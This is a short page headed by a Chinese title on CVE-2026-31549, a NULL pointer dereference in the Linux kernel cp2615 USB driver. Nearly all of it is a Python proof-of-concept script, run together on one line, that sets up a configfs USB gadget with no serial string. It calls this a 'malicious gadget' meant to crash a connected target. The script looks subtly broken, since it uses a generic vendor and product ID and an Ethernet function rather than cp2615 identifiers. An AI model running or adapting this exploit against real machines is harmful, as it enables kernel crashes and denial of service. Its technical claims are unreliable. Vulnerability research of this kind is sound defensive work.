CVE-2026-31549: Linux内核cp2615驱动空指针解引用漏洞

import os import shutil # This script demonstrates how to create a malicious USB gadget # without a serial number to trigger the CVE-2026-31549 vulnerability. # Requires Linux kernel with USB ConfigFS support. CONFIGFS_MOUNT = "/sys/kernel/config/usb_gadget" GADGET_NAME = "g1" # Mount configfs if not already mounted if not os.path.ismount(CONFIGFS_MOUNT): os.system("mount none -t configfs /sys/kernel/config/usb_gadget") gadget_path = os.path.join(CONFIGFS_MOUNT, GADGET_NAME) # Create the gadget directory if os.path.exists(gadget_path): shutil.rmtree(gadget_path) os.makedirs(gadget_path) # Set basic vendor/product info with open(os.path.join(gadget_path, "idVendor"), "w") as f: f.write("0x1209") # Generic vendor ID with open(os.path.join(gadget_path, "idProduct"), "w") as f: f.write("0x0001") # Generic product ID # Create a configuration (e.g., config 1) configs_path = os.path.join(gadget_path, "configs") config_name = "c.1" config_path = os.path.join(configs_path, config_name) os.makedirs(config_path) # Create a function (e.g., ECM for Ethernet) functions_path = os.path.join(gadget_path, "functions") func_name = "ecm.usb0" func_path = os.path.join(functions_path, func_name) os.makedirs(func_path) # Link function to config os.symlink(func_path, os.path.join(config_path, func_name)) # CRITICAL STEP FOR EXPLOIT: # Do NOT write to 'bcdDevice' or provide a serial string. # The cp2615 driver expects a serial string, but providing none # makes usb_string return NULL, triggering the NULL-deref. # Enable the gadget (assuming UDC driver is available, e.g., dummy_udc) udc_path = "/sys/class/udc/dummy_udc.0" if os.path.exists(udc_path): with open(os.path.join(gadget_path, "UDC"), "w") as f: f.write("dummy_udc.0") print("Malicious gadget enabled. Connect to target to trigger crash.") else: print("No UDC available (e.g., dummy_udc). Cannot enable gadget.")